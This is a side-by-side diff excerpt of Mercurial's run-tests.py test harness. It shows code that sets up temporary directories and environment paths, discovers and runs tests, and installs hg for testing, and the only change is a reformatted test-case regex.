2956 | 2956 | if options.profile_runner: |
|
2957 | 2957 | import statprof |
|
2958 | 2958 | |
|
2959 | 2959 | statprof.start() |
|
2960 | 2960 | result = self._run(testdescs) |
|
2961 | 2961 | if options.profile_runner: |
|
2962 | 2962 | statprof.stop() |
|
2963 | 2963 | statprof.display() |
|
2964 | 2964 | return result |
|
2965 | 2965 | |
|
2966 | 2966 | finally: |
|
2967 | 2967 | os.umask(oldmask) |
|
2968 | 2968 | |
|
2969 | 2969 | def _run(self, testdescs): |
|
2970 | 2970 | testdir = getcwdb() |
|
2971 | 2971 | self._testdir = osenvironb[b'TESTDIR'] = getcwdb() |
|
2972 | 2972 | # assume all tests in same folder for now |
|
2973 | 2973 | if testdescs: |
|
2974 | 2974 | pathname = os.path.dirname(testdescs[0]['path']) |
|
2975 | 2975 | if pathname: |
|
2976 | 2976 | testdir = os.path.join(testdir, pathname) |
|
2977 | 2977 | self._testdir = osenvironb[b'TESTDIR'] = testdir |
|
2978 | 2978 | if self.options.outputdir: |
|
2979 | 2979 | self._outputdir = canonpath(_bytespath(self.options.outputdir)) |
|
2980 | 2980 | else: |
|
2981 | 2981 | self._outputdir = getcwdb() |
|
2982 | 2982 | if testdescs and pathname: |
|
2983 | 2983 | self._outputdir = os.path.join(self._outputdir, pathname) |
|
2984 | 2984 | previoustimes = {} |
|
2985 | 2985 | if self.options.order_by_runtime: |
|
2986 | 2986 | previoustimes = dict(loadtimes(self._outputdir)) |
|
2987 | 2987 | sorttests(testdescs, previoustimes, shuffle=self.options.random) |
|
2988 | 2988 | |
|
2989 | 2989 | if 'PYTHONHASHSEED' not in os.environ: |
|
2990 | 2990 | # use a random python hash seed all the time |
|
2991 | 2991 | # we do the randomness ourself to know what seed is used |
|
2992 | 2992 | os.environ['PYTHONHASHSEED'] = str(random.getrandbits(32)) |
|
2993 | 2993 | |
|
2994 | 2994 | if self.options.tmpdir: |
|
2995 | 2995 | self.options.keep_tmpdir = True |
|
2996 | 2996 | tmpdir = _bytespath(self.options.tmpdir) |
|
2997 | 2997 | if os.path.exists(tmpdir): |
|
2998 | 2998 | # Meaning of tmpdir has changed since 1.3: we used to create |
|
2999 | 2999 | # HGTMP inside tmpdir; now HGTMP is tmpdir. So fail if |
|
3000 | 3000 | # tmpdir already exists. |
|
3001 | 3001 | print("error: temp dir %r already exists" % tmpdir) |
|
3002 | 3002 | return 1 |
|
3003 | 3003 | |
|
3004 | 3004 | os.makedirs(tmpdir) |
|
3005 | 3005 | else: |
|
3006 | 3006 | d = None |
|
3007 | 3007 | if os.name == 'nt': |
|
3008 | 3008 | # without this, we get the default temp dir location, but |
|
3009 | 3009 | # in all lowercase, which causes troubles with paths (issue3490) |
|
3010 | 3010 | d = osenvironb.get(b'TMP', None) |
|
3011 | 3011 | tmpdir = tempfile.mkdtemp(b'', b'hgtests.', d) |
|
3012 | 3012 | |
|
3013 | 3013 | self._hgtmp = osenvironb[b'HGTMP'] = os.path.realpath(tmpdir) |
|
3014 | 3014 | |
|
3015 | 3015 | if self.options.with_hg: |
|
3016 | 3016 | self._installdir = None |
|
3017 | 3017 | whg = self.options.with_hg |
|
3018 | 3018 | self._bindir = os.path.dirname(os.path.realpath(whg)) |
|
3019 | 3019 | assert isinstance(self._bindir, bytes) |
|
3020 | 3020 | self._hgcommand = os.path.basename(whg) |
|
3021 | 3021 | self._tmpbindir = os.path.join(self._hgtmp, b'install', b'bin') |
|
3022 | 3022 | os.makedirs(self._tmpbindir) |
|
3023 | 3023 | |
|
3024 | 3024 | normbin = os.path.normpath(os.path.abspath(whg)) |
|
3025 | 3025 | normbin = normbin.replace(os.sep.encode('ascii'), b'/') |
|
3026 | 3026 | |
|
3027 | 3027 | # Other Python scripts in the test harness need to |
|
3028 | 3028 | # `import mercurial`. If `hg` is a Python script, we assume |
|
3029 | 3029 | # the Mercurial modules are relative to its path and tell the tests |
|
3030 | 3030 | # to load Python modules from its directory. |
|
3031 | 3031 | with open(whg, 'rb') as fh: |
|
3032 | 3032 | initial = fh.read(1024) |
|
3033 | 3033 | |
|
3034 | 3034 | if re.match(b'#!.*python', initial): |
|
3035 | 3035 | self._pythondir = self._bindir |
|
3036 | 3036 | # If it looks like our in-repo Rust binary, use the source root. |
|
3037 | 3037 | # This is a bit hacky. But rhg is still not supported outside the |
|
3038 | 3038 | # source directory. So until it is, do the simple thing. |
|
3039 | 3039 | elif re.search(b'/rust/target/[^/]+/hg', normbin): |
|
3040 | 3040 | self._pythondir = os.path.dirname(self._testdir) |
|
3041 | 3041 | # Fall back to the legacy behavior. |
|
3042 | 3042 | else: |
|
3043 | 3043 | self._pythondir = self._bindir |
|
3044 | 3044 | |
|
3045 | 3045 | else: |
|
3046 | 3046 | self._installdir = os.path.join(self._hgtmp, b"install") |
|
3047 | 3047 | self._bindir = os.path.join(self._installdir, b"bin") |
|
3048 | 3048 | self._hgcommand = b'hg' |
|
3049 | 3049 | self._tmpbindir = self._bindir |
|
3050 | 3050 | self._pythondir = os.path.join(self._installdir, b"lib", b"python") |
|
3051 | 3051 | |
|
3052 | 3052 | # Force the use of hg.exe instead of relying on MSYS to recognize hg is |
|
3053 | 3053 | # a python script and feed it to python.exe. Legacy stdio is force |
|
3054 | 3054 | # enabled by hg.exe, and this is a more realistic way to launch hg |
|
3055 | 3055 | # anyway. |
|
3056 | 3056 | if os.name == 'nt' and not self._hgcommand.endswith(b'.exe'): |
|
3057 | 3057 | self._hgcommand += b'.exe' |
|
3058 | 3058 | |
|
3059 | 3059 | # set CHGHG, then replace "hg" command by "chg" |
|
3060 | 3060 | chgbindir = self._bindir |
|
3061 | 3061 | if self.options.chg or self.options.with_chg: |
|
3062 | 3062 | osenvironb[b'CHGHG'] = os.path.join(self._bindir, self._hgcommand) |
|
3063 | 3063 | else: |
|
3064 | 3064 | osenvironb.pop(b'CHGHG', None) # drop flag for hghave |
|
3065 | 3065 | if self.options.chg: |
|
3066 | 3066 | self._hgcommand = b'chg' |
|
3067 | 3067 | elif self.options.with_chg: |
|
3068 | 3068 | chgbindir = os.path.dirname(os.path.realpath(self.options.with_chg)) |
|
3069 | 3069 | self._hgcommand = os.path.basename(self.options.with_chg) |
|
3070 | 3070 | |
|
3071 | 3071 | osenvironb[b"BINDIR"] = self._bindir |
|
3072 | 3072 | osenvironb[b"PYTHON"] = PYTHON |
|
3073 | 3073 | |
|
3074 | 3074 | fileb = _bytespath(__file__) |
|
3075 | 3075 | runtestdir = os.path.abspath(os.path.dirname(fileb)) |
|
3076 | 3076 | osenvironb[b'RUNTESTDIR'] = runtestdir |
|
3077 | 3077 | if PYTHON3: |
|
3078 | 3078 | sepb = _bytespath(os.pathsep) |
|
3079 | 3079 | else: |
|
3080 | 3080 | sepb = os.pathsep |
|
3081 | 3081 | path = [self._bindir, runtestdir] + osenvironb[b"PATH"].split(sepb) |
|
3082 | 3082 | if os.path.islink(__file__): |
|
3083 | 3083 | # test helper will likely be at the end of the symlink |
|
3084 | 3084 | realfile = os.path.realpath(fileb) |
|
3085 | 3085 | realdir = os.path.abspath(os.path.dirname(realfile)) |
|
3086 | 3086 | path.insert(2, realdir) |
|
3087 | 3087 | if chgbindir != self._bindir: |
|
3088 | 3088 | path.insert(1, chgbindir) |
|
3089 | 3089 | if self._testdir != runtestdir: |
|
3090 | 3090 | path = [self._testdir] + path |
|
3091 | 3091 | if self._tmpbindir != self._bindir: |
|
3092 | 3092 | path = [self._tmpbindir] + path |
|
3093 | 3093 | osenvironb[b"PATH"] = sepb.join(path) |
|
3094 | 3094 | |
|
3095 | 3095 | # Include TESTDIR in PYTHONPATH so that out-of-tree extensions |
|
3096 | 3096 | # can run .../tests/run-tests.py test-foo where test-foo |
|
3097 | 3097 | # adds an extension to HGRC. Also include run-test.py directory to |
|
3098 | 3098 | # import modules like heredoctest. |
|
3099 | 3099 | pypath = [self._pythondir, self._testdir, runtestdir] |
|
3100 | 3100 | # We have to augment PYTHONPATH, rather than simply replacing |
|
3101 | 3101 | # it, in case external libraries are only available via current |
|
3102 | 3102 | # PYTHONPATH. (In particular, the Subversion bindings on OS X |
|
3103 | 3103 | # are in /opt/subversion.) |
|
3104 | 3104 | oldpypath = osenvironb.get(IMPL_PATH) |
|
3105 | 3105 | if oldpypath: |
|
3106 | 3106 | pypath.append(oldpypath) |
|
3107 | 3107 | osenvironb[IMPL_PATH] = sepb.join(pypath) |
|
3108 | 3108 | |
|
3109 | 3109 | if self.options.pure: |
|
3110 | 3110 | os.environ["HGTEST_RUN_TESTS_PURE"] = "--pure" |
|
3111 | 3111 | os.environ["HGMODULEPOLICY"] = "py" |
|
3112 | 3112 | |
|
3113 | 3113 | if self.options.allow_slow_tests: |
|
3114 | 3114 | os.environ["HGTEST_SLOW"] = "slow" |
|
3115 | 3115 | elif 'HGTEST_SLOW' in os.environ: |
|
3116 | 3116 | del os.environ['HGTEST_SLOW'] |
|
3117 | 3117 | |
|
3118 | 3118 | self._coveragefile = os.path.join(self._testdir, b'.coverage') |
|
3119 | 3119 | |
|
3120 | 3120 | if self.options.exceptions: |
|
3121 | 3121 | exceptionsdir = os.path.join(self._outputdir, b'exceptions') |
|
3122 | 3122 | try: |
|
3123 | 3123 | os.makedirs(exceptionsdir) |
|
3124 | 3124 | except OSError as e: |
|
3125 | 3125 | if e.errno != errno.EEXIST: |
|
3126 | 3126 | raise |
|
3127 | 3127 | |
|
3128 | 3128 | # Remove all existing exception reports. |
|
3129 | 3129 | for f in os.listdir(exceptionsdir): |
|
3130 | 3130 | os.unlink(os.path.join(exceptionsdir, f)) |
|
3131 | 3131 | |
|
3132 | 3132 | osenvironb[b'HGEXCEPTIONSDIR'] = exceptionsdir |
|
3133 | 3133 | logexceptions = os.path.join(self._testdir, b'logexceptions.py') |
|
3134 | 3134 | self.options.extra_config_opt.append( |
|
3135 | 3135 | 'extensions.logexceptions=%s' % logexceptions.decode('utf-8') |
|
3136 | 3136 | ) |
|
3137 | 3137 | |
|
3138 | 3138 | vlog("# Using TESTDIR", _strpath(self._testdir)) |
|
3139 | 3139 | vlog("# Using RUNTESTDIR", _strpath(osenvironb[b'RUNTESTDIR'])) |
|
3140 | 3140 | vlog("# Using HGTMP", _strpath(self._hgtmp)) |
|
3141 | 3141 | vlog("# Using PATH", os.environ["PATH"]) |
|
3142 | 3142 | vlog( |
|
3143 | 3143 | "# Using", _strpath(IMPL_PATH), _strpath(osenvironb[IMPL_PATH]), |
|
3144 | 3144 | ) |
|
3145 | 3145 | vlog("# Writing to directory", _strpath(self._outputdir)) |
|
3146 | 3146 | |
|
3147 | 3147 | try: |
|
3148 | 3148 | return self._runtests(testdescs) or 0 |
|
3149 | 3149 | finally: |
|
3150 | 3150 | time.sleep(0.1) |
|
3151 | 3151 | self._cleanup() |
|
3152 | 3152 | |
|
3153 | 3153 | def findtests(self, args): |
|
3154 | 3154 | """Finds possible test files from arguments. |
|
3155 | 3155 | |
|
3156 | 3156 | If you wish to inject custom tests into the test harness, this would |
|
3157 | 3157 | be a good function to monkeypatch or override in a derived class. |
|
3158 | 3158 | """ |
|
3159 | 3159 | if not args: |
|
3160 | 3160 | if self.options.changed: |
|
3161 | 3161 | proc = Popen4( |
|
3162 | 3162 | b'hg st --rev "%s" -man0 .' |
|
3163 | 3163 | % _bytespath(self.options.changed), |
|
3164 | 3164 | None, |
|
3165 | 3165 | 0, |
|
3166 | 3166 | ) |
|
3167 | 3167 | stdout, stderr = proc.communicate() |
|
3168 | 3168 | args = stdout.strip(b'\0').split(b'\0') |
|
3169 | 3169 | else: |
|
3170 | 3170 | args = os.listdir(b'.') |
|
3171 | 3171 | |
|
3172 | 3172 | expanded_args = [] |
|
3173 | 3173 | for arg in args: |
|
3174 | 3174 | if os.path.isdir(arg): |
|
3175 | 3175 | if not arg.endswith(b'/'): |
|
3176 | 3176 | arg += b'/' |
|
3177 | 3177 | expanded_args.extend([arg + a for a in os.listdir(arg)]) |
|
3178 | 3178 | else: |
|
3179 | 3179 | expanded_args.append(arg) |
|
3180 | 3180 | args = expanded_args |
|
3181 | 3181 | |
|
3182 | testcasepattern = re.compile( | |
|
3183 | br'([\w-]+\.t|py)(?:#([a-zA-Z0-9_\-\.#]+))' | |
|
3184 | ) | |
|
3182 | testcasepattern = re.compile(br'([\w-]+\.t|py)(?:#([a-zA-Z0-9_\-.#]+))') | |
|
3185 | 3183 | tests = [] |
|
3186 | 3184 | for t in args: |
|
3187 | 3185 | case = [] |
|
3188 | 3186 | |
|
3189 | 3187 | if not ( |
|
3190 | 3188 | os.path.basename(t).startswith(b'test-') |
|
3191 | 3189 | and (t.endswith(b'.py') or t.endswith(b'.t')) |
|
3192 | 3190 | ): |
|
3193 | 3191 | |
|
3194 | 3192 | m = testcasepattern.match(os.path.basename(t)) |
|
3195 | 3193 | if m is not None: |
|
3196 | 3194 | t_basename, casestr = m.groups() |
|
3197 | 3195 | t = os.path.join(os.path.dirname(t), t_basename) |
|
3198 | 3196 | if casestr: |
|
3199 | 3197 | case = casestr.split(b'#') |
|
3200 | 3198 | else: |
|
3201 | 3199 | continue |
|
3202 | 3200 | |
|
3203 | 3201 | if t.endswith(b'.t'): |
|
3204 | 3202 | # .t file may contain multiple test cases |
|
3205 | 3203 | casedimensions = parsettestcases(t) |
|
3206 | 3204 | if casedimensions: |
|
3207 | 3205 | cases = [] |
|
3208 | 3206 | |
|
3209 | 3207 | def addcases(case, casedimensions): |
|
3210 | 3208 | if not casedimensions: |
|
3211 | 3209 | cases.append(case) |
|
3212 | 3210 | else: |
|
3213 | 3211 | for c in casedimensions[0]: |
|
3214 | 3212 | addcases(case + [c], casedimensions[1:]) |
|
3215 | 3213 | |
|
3216 | 3214 | addcases([], casedimensions) |
|
3217 | 3215 | if case and case in cases: |
|
3218 | 3216 | cases = [case] |
|
3219 | 3217 | elif case: |
|
3220 | 3218 | # Ignore invalid cases |
|
3221 | 3219 | cases = [] |
|
3222 | 3220 | else: |
|
3223 | 3221 | pass |
|
3224 | 3222 | tests += [{'path': t, 'case': c} for c in sorted(cases)] |
|
3225 | 3223 | else: |
|
3226 | 3224 | tests.append({'path': t}) |
|
3227 | 3225 | else: |
|
3228 | 3226 | tests.append({'path': t}) |
|
3229 | 3227 | return tests |
|
3230 | 3228 | |
|
3231 | 3229 | def _runtests(self, testdescs): |
|
3232 | 3230 | def _reloadtest(test, i): |
|
3233 | 3231 | # convert a test back to its description dict |
|
3234 | 3232 | desc = {'path': test.path} |
|
3235 | 3233 | case = getattr(test, '_case', []) |
|
3236 | 3234 | if case: |
|
3237 | 3235 | desc['case'] = case |
|
3238 | 3236 | return self._gettest(desc, i) |
|
3239 | 3237 | |
|
3240 | 3238 | try: |
|
3241 | 3239 | if self.options.restart: |
|
3242 | 3240 | orig = list(testdescs) |
|
3243 | 3241 | while testdescs: |
|
3244 | 3242 | desc = testdescs[0] |
|
3245 | 3243 | # desc['path'] is a relative path |
|
3246 | 3244 | if 'case' in desc: |
|
3247 | 3245 | casestr = b'#'.join(desc['case']) |
|
3248 | 3246 | errpath = b'%s#%s.err' % (desc['path'], casestr) |
|
3249 | 3247 | else: |
|
3250 | 3248 | errpath = b'%s.err' % desc['path'] |
|
3251 | 3249 | errpath = os.path.join(self._outputdir, errpath) |
|
3252 | 3250 | if os.path.exists(errpath): |
|
3253 | 3251 | break |
|
3254 | 3252 | testdescs.pop(0) |
|
3255 | 3253 | if not testdescs: |
|
3256 | 3254 | print("running all tests") |
|
3257 | 3255 | testdescs = orig |
|
3258 | 3256 | |
|
3259 | 3257 | tests = [self._gettest(d, i) for i, d in enumerate(testdescs)] |
|
3260 | 3258 | num_tests = len(tests) * self.options.runs_per_test |
|
3261 | 3259 | |
|
3262 | 3260 | jobs = min(num_tests, self.options.jobs) |
|
3263 | 3261 | |
|
3264 | 3262 | failed = False |
|
3265 | 3263 | kws = self.options.keywords |
|
3266 | 3264 | if kws is not None and PYTHON3: |
|
3267 | 3265 | kws = kws.encode('utf-8') |
|
3268 | 3266 | |
|
3269 | 3267 | suite = TestSuite( |
|
3270 | 3268 | self._testdir, |
|
3271 | 3269 | jobs=jobs, |
|
3272 | 3270 | whitelist=self.options.whitelisted, |
|
3273 | 3271 | blacklist=self.options.blacklist, |
|
3274 | 3272 | retest=self.options.retest, |
|
3275 | 3273 | keywords=kws, |
|
3276 | 3274 | loop=self.options.loop, |
|
3277 | 3275 | runs_per_test=self.options.runs_per_test, |
|
3278 | 3276 | showchannels=self.options.showchannels, |
|
3279 | 3277 | tests=tests, |
|
3280 | 3278 | loadtest=_reloadtest, |
|
3281 | 3279 | ) |
|
3282 | 3280 | verbosity = 1 |
|
3283 | 3281 | if self.options.list_tests: |
|
3284 | 3282 | verbosity = 0 |
|
3285 | 3283 | elif self.options.verbose: |
|
3286 | 3284 | verbosity = 2 |
|
3287 | 3285 | runner = TextTestRunner(self, verbosity=verbosity) |
|
3288 | 3286 | |
|
3289 | 3287 | if self.options.list_tests: |
|
3290 | 3288 | result = runner.listtests(suite) |
|
3291 | 3289 | else: |
|
3292 | 3290 | if self._installdir: |
|
3293 | 3291 | self._installhg() |
|
3294 | 3292 | self._checkhglib("Testing") |
|
3295 | 3293 | else: |
|
3296 | 3294 | self._usecorrectpython() |
|
3297 | 3295 | if self.options.chg: |
|
3298 | 3296 | assert self._installdir |
|
3299 | 3297 | self._installchg() |
|
3300 | 3298 | |
|
3301 | 3299 | log( |
|
3302 | 3300 | 'running %d tests using %d parallel processes' |
|
3303 | 3301 | % (num_tests, jobs) |
|
3304 | 3302 | ) |
|
3305 | 3303 | |
|
3306 | 3304 | result = runner.run(suite) |
|
3307 | 3305 | |
|
3308 | 3306 | if result.failures or result.errors: |
|
3309 | 3307 | failed = True |
|
3310 | 3308 | |
|
3311 | 3309 | result.onEnd() |
|
3312 | 3310 | |
|
3313 | 3311 | if self.options.anycoverage: |
|
3314 | 3312 | self._outputcoverage() |
|
3315 | 3313 | except KeyboardInterrupt: |
|
3316 | 3314 | failed = True |
|
3317 | 3315 | print("\ninterrupted!") |
|
3318 | 3316 | |
|
3319 | 3317 | if failed: |
|
3320 | 3318 | return 1 |
|
3321 | 3319 | |
|
3322 | 3320 | def _getport(self, count): |
|
3323 | 3321 | port = self._ports.get(count) # do we have a cached entry? |
|
3324 | 3322 | if port is None: |
|
3325 | 3323 | portneeded = 3 |
|
3326 | 3324 | # above 100 tries we just give up and let test reports failure |
|
3327 | 3325 | for tries in xrange(100): |
|
3328 | 3326 | allfree = True |
|
3329 | 3327 | port = self.options.port + self._portoffset |
|
3330 | 3328 | for idx in xrange(portneeded): |
|
3331 | 3329 | if not checkportisavailable(port + idx): |
|
3332 | 3330 | allfree = False |
|
3333 | 3331 | break |
|
3334 | 3332 | self._portoffset += portneeded |
|
3335 | 3333 | if allfree: |
|
3336 | 3334 | break |
|
3337 | 3335 | self._ports[count] = port |
|
3338 | 3336 | return port |
|
3339 | 3337 | |
|
3340 | 3338 | def _gettest(self, testdesc, count): |
|
3341 | 3339 | """Obtain a Test by looking at its filename. |
|
3342 | 3340 | |
|
3343 | 3341 | Returns a Test instance. The Test may not be runnable if it doesn't |
|
3344 | 3342 | map to a known type. |
|
3345 | 3343 | """ |
|
3346 | 3344 | path = testdesc['path'] |
|
3347 | 3345 | lctest = path.lower() |
|
3348 | 3346 | testcls = Test |
|
3349 | 3347 | |
|
3350 | 3348 | for ext, cls in self.TESTTYPES: |
|
3351 | 3349 | if lctest.endswith(ext): |
|
3352 | 3350 | testcls = cls |
|
3353 | 3351 | break |
|
3354 | 3352 | |
|
3355 | 3353 | refpath = os.path.join(getcwdb(), path) |
|
3356 | 3354 | tmpdir = os.path.join(self._hgtmp, b'child%d' % count) |
|
3357 | 3355 | |
|
3358 | 3356 | # extra keyword parameters. 'case' is used by .t tests |
|
3359 | 3357 | kwds = dict((k, testdesc[k]) for k in ['case'] if k in testdesc) |
|
3360 | 3358 | |
|
3361 | 3359 | t = testcls( |
|
3362 | 3360 | refpath, |
|
3363 | 3361 | self._outputdir, |
|
3364 | 3362 | tmpdir, |
|
3365 | 3363 | keeptmpdir=self.options.keep_tmpdir, |
|
3366 | 3364 | debug=self.options.debug, |
|
3367 | 3365 | first=self.options.first, |
|
3368 | 3366 | timeout=self.options.timeout, |
|
3369 | 3367 | startport=self._getport(count), |
|
3370 | 3368 | extraconfigopts=self.options.extra_config_opt, |
|
3371 | 3369 | py3warnings=self.options.py3_warnings, |
|
3372 | 3370 | shell=self.options.shell, |
|
3373 | 3371 | hgcommand=self._hgcommand, |
|
3374 | 3372 | usechg=bool(self.options.with_chg or self.options.chg), |
|
3375 | 3373 | useipv6=useipv6, |
|
3376 | 3374 | **kwds |
|
3377 | 3375 | ) |
|
3378 | 3376 | t.should_reload = True |
|
3379 | 3377 | return t |
|
3380 | 3378 | |
|
3381 | 3379 | def _cleanup(self): |
|
3382 | 3380 | """Clean up state from this test invocation.""" |
|
3383 | 3381 | if self.options.keep_tmpdir: |
|
3384 | 3382 | return |
|
3385 | 3383 | |
|
3386 | 3384 | vlog("# Cleaning up HGTMP", _strpath(self._hgtmp)) |
|
3387 | 3385 | shutil.rmtree(self._hgtmp, True) |
|
3388 | 3386 | for f in self._createdfiles: |
|
3389 | 3387 | try: |
|
3390 | 3388 | os.remove(f) |
|
3391 | 3389 | except OSError: |
|
3392 | 3390 | pass |
|
3393 | 3391 | |
|
3394 | 3392 | def _usecorrectpython(self): |
|
3395 | 3393 | """Configure the environment to use the appropriate Python in tests.""" |
|
3396 | 3394 | # Tests must use the same interpreter as us or bad things will happen. |
|
3397 | 3395 | pyexename = sys.platform == 'win32' and b'python.exe' or b'python' |
|
3398 | 3396 | |
|
3399 | 3397 | # os.symlink() is a thing with py3 on Windows, but it requires |
|
3400 | 3398 | # Administrator rights. |
|
3401 | 3399 | if getattr(os, 'symlink', None) and os.name != 'nt': |
|
3402 | 3400 | vlog( |
|
3403 | 3401 | "# Making python executable in test path a symlink to '%s'" |
|
3404 | 3402 | % sysexecutable |
|
3405 | 3403 | ) |
|
3406 | 3404 | mypython = os.path.join(self._tmpbindir, pyexename) |
|
3407 | 3405 | try: |
|
3408 | 3406 | if os.readlink(mypython) == sysexecutable: |
|
3409 | 3407 | return |
|
3410 | 3408 | os.unlink(mypython) |
|
3411 | 3409 | except OSError as err: |
|
3412 | 3410 | if err.errno != errno.ENOENT: |
|
3413 | 3411 | raise |
|
3414 | 3412 | if self._findprogram(pyexename) != sysexecutable: |
|
3415 | 3413 | try: |
|
3416 | 3414 | os.symlink(sysexecutable, mypython) |
|
3417 | 3415 | self._createdfiles.append(mypython) |
|
3418 | 3416 | except OSError as err: |
|
3419 | 3417 | # child processes may race, which is harmless |
|
3420 | 3418 | if err.errno != errno.EEXIST: |
|
3421 | 3419 | raise |
|
3422 | 3420 | else: |
|
3423 | 3421 | exedir, exename = os.path.split(sysexecutable) |
|
3424 | 3422 | vlog( |
|
3425 | 3423 | "# Modifying search path to find %s as %s in '%s'" |
|
3426 | 3424 | % (exename, pyexename, exedir) |
|
3427 | 3425 | ) |
|
3428 | 3426 | path = os.environ['PATH'].split(os.pathsep) |
|
3429 | 3427 | while exedir in path: |
|
3430 | 3428 | path.remove(exedir) |
|
3431 | 3429 | os.environ['PATH'] = os.pathsep.join([exedir] + path) |
|
3432 | 3430 | if not self._findprogram(pyexename): |
|
3433 | 3431 | print("WARNING: Cannot find %s in search path" % pyexename) |
|
3434 | 3432 | |
|
3435 | 3433 | def _installhg(self): |
|
3436 | 3434 | """Install hg into the test environment. |
|
3437 | 3435 | |
|
3438 | 3436 | This will also configure hg with the appropriate testing settings. |
|
3439 | 3437 | """ |
|
3440 | 3438 | vlog("# Performing temporary installation of HG") |
|
3441 | 3439 | installerrs = os.path.join(self._hgtmp, b"install.err") |
|
3442 | 3440 | compiler = '' |
|
3443 | 3441 | if self.options.compiler: |
|
3444 | 3442 | compiler = '--compiler ' + self.options.compiler |
|
3445 | 3443 | if self.options.pure: |
|
3446 | 3444 | pure = b"--pure" |
|
3447 | 3445 | else: |
|
3448 | 3446 | pure = b"" |
|
3449 | 3447 | |
|
3450 | 3448 | # Run installer in hg root |
|
3451 | 3449 | script = os.path.realpath(sys.argv[0]) |
|
3452 | 3450 | exe = sysexecutable |
|
3453 | 3451 | if PYTHON3: |
|
3454 | 3452 | compiler = _bytespath(compiler) |
|
3455 | 3453 | script = _bytespath(script) |
|
3456 | 3454 | exe = _bytespath(exe) |
|
3457 | 3455 | hgroot = os.path.dirname(os.path.dirname(script)) |
|
3458 | 3456 | self._hgroot = hgroot |
|
3459 | 3457 | os.chdir(hgroot) |
|
3460 | 3458 | nohome = b'--home=""' |
|
3461 | 3459 | if os.name == 'nt': |
|
3462 | 3460 | # The --home="" trick works only on OS where os.sep == '/' |
|
3463 | 3461 | # because of a distutils convert_path() fast-path. Avoid it at |
|
3464 | 3462 | # least on Windows for now, deal with .pydistutils.cfg bugs |
|
3465 | 3463 | # when they happen. |
|
3466 | 3464 | nohome = b'' |
|
3467 | 3465 | cmd = ( |
|
3468 | 3466 | b'"%(exe)s" setup.py %(pure)s clean --all' |
|
3469 | 3467 | b' build %(compiler)s --build-base="%(base)s"' |
|
3470 | 3468 | b' install --force --prefix="%(prefix)s"' |
|
3471 | 3469 | b' --install-lib="%(libdir)s"' |
|
3472 | 3470 | b' --install-scripts="%(bindir)s" %(nohome)s >%(logfile)s 2>&1' |
|
3473 | 3471 | % { |
|
3474 | 3472 | b'exe': exe, |
|
3475 | 3473 | b'pure': pure, |
|
3476 | 3474 | b'compiler': compiler, |
|
3477 | 3475 | b'base': os.path.join(self._hgtmp, b"build"), |
|
3478 | 3476 | b'prefix': self._installdir, |
|
3479 | 3477 | b'libdir': self._pythondir, |
|
3480 | 3478 | b'bindir': self._bindir, |
|
3481 | 3479 | b'nohome': nohome, |
|
3482 | 3480 | b'logfile': installerrs, |
|
3483 | 3481 | } |
|
3484 | 3482 | ) |
|
3485 | 3483 | |
|
3486 | 3484 | # setuptools requires install directories to exist. |
|
3487 | 3485 | def makedirs(p): |
|
3488 | 3486 | try: |
|
3489 | 3487 | os.makedirs(p) |
|
3490 | 3488 | except OSError as e: |
|
3491 | 3489 | if e.errno != errno.EEXIST: |
|
3492 | 3490 | raise |
|
3493 | 3491 | |
|
3494 | 3492 | makedirs(self._pythondir) |
|
3495 | 3493 | makedirs(self._bindir) |
|
3496 | 3494 | |
|
3497 | 3495 | vlog("# Running", cmd.decode("utf-8")) |
|
3498 | 3496 | if subprocess.call(_strpath(cmd), shell=True) == 0: |
|
3499 | 3497 | if not self.options.verbose: |
|
3500 | 3498 | try: |
|
3501 | 3499 | os.remove(installerrs) |
|
3502 | 3500 | except OSError as e: |
|
3503 | 3501 | if e.errno != errno.ENOENT: |
|
3504 | 3502 | raise |
|
3505 | 3503 | else: |
|
3506 | 3504 | with open(installerrs, 'rb') as f: |
|
3507 | 3505 | for line in f: |
|
3508 | 3506 | if PYTHON3: |
|
3509 | 3507 | sys.stdout.buffer.write(line) |
|
3510 | 3508 | else: |
|
3511 | 3509 | sys.stdout.write(line) |
|
3512 | 3510 | sys.exit(1) |
|
3513 | 3511 | os.chdir(self._testdir) |
|
3514 | 3512 | |
|
3515 | 3513 | self._usecorrectpython() |
|
3516 | 3514 | |
|
3517 | 3515 | if self.options.py3_warnings and not self.options.anycoverage: |
|
3518 | 3516 | vlog("# Updating hg command to enable Py3k Warnings switch") |
|
3519 | 3517 | with open(os.path.join(self._bindir, 'hg'), 'rb') as f: |
|
3520 | 3518 | lines = [line.rstrip() for line in f] |
|
3521 | 3519 | lines[0] += ' -3' |
|
3522 | 3520 | with open(os.path.join(self._bindir, 'hg'), 'wb') as f: |
|
3523 | 3521 | for line in lines: |
|
3524 | 3522 | f.write(line + '\n') |
|
3525 | 3523 | |
|
3526 | 3524 | hgbat = os.path.join(self._bindir, b'hg.bat') |
|
3527 | 3525 | if os.path.isfile(hgbat): |
|
3528 | 3526 | # hg.bat expects to be put in bin/scripts while run-tests.py |
|
3529 | 3527 | # installation layout put it in bin/ directly. Fix it |
|
3530 | 3528 | with open(hgbat, 'rb') as f: |
|
3531 | 3529 | data = f.read() |
|
3532 | 3530 | if br'"%~dp0..\python" "%~dp0hg" %*' in data: |
|
3533 | 3531 | data = data.replace( |
|
3534 | 3532 | br'"%~dp0..\python" "%~dp0hg" %*', |
|
3535 | 3533 | b'"%~dp0python" "%~dp0hg" %*', |
|
3536 | 3534 | ) |
|
3537 | 3535 | with open(hgbat, 'wb') as f: |
|
3538 | 3536 | f.write(data) |
|
3539 | 3537 | else: |
|
3540 | 3538 | print('WARNING: cannot fix hg.bat reference to python.exe') |
|
3541 | 3539 | |
|
3542 | 3540 | if self.options.anycoverage: |
|
3543 | 3541 | custom = os.path.join( |
|
3544 | 3542 | osenvironb[b'RUNTESTDIR'], b'sitecustomize.py' |
|
3545 | 3543 | ) |
|
3546 | 3544 | target = os.path.join(self._pythondir, b'sitecustomize.py') |
|
3547 | 3545 | vlog('# Installing coverage trigger to %s' % target) |
|
3548 | 3546 | shutil.copyfile(custom, target) |
|
3549 | 3547 | rc = os.path.join(self._testdir, b'.coveragerc') |
|
3550 | 3548 | vlog('# Installing coverage rc to %s' % rc) |
|
3551 | 3549 | osenvironb[b'COVERAGE_PROCESS_START'] = rc |
|
3552 | 3550 | covdir = os.path.join(self._installdir, b'..', b'coverage') |
|
3553 | 3551 | try: |
|
3554 | 3552 | os.mkdir(covdir) |
|
3555 | 3553 | except OSError as e: |
|
3556 | 3554 | if e.errno != errno.EEXIST: |
|
3557 | 3555 | raise |
|
3558 | 3556 | |
|
3559 | 3557 | osenvironb[b'COVERAGE_DIR'] = covdir |
|
3560 | 3558 | |
|
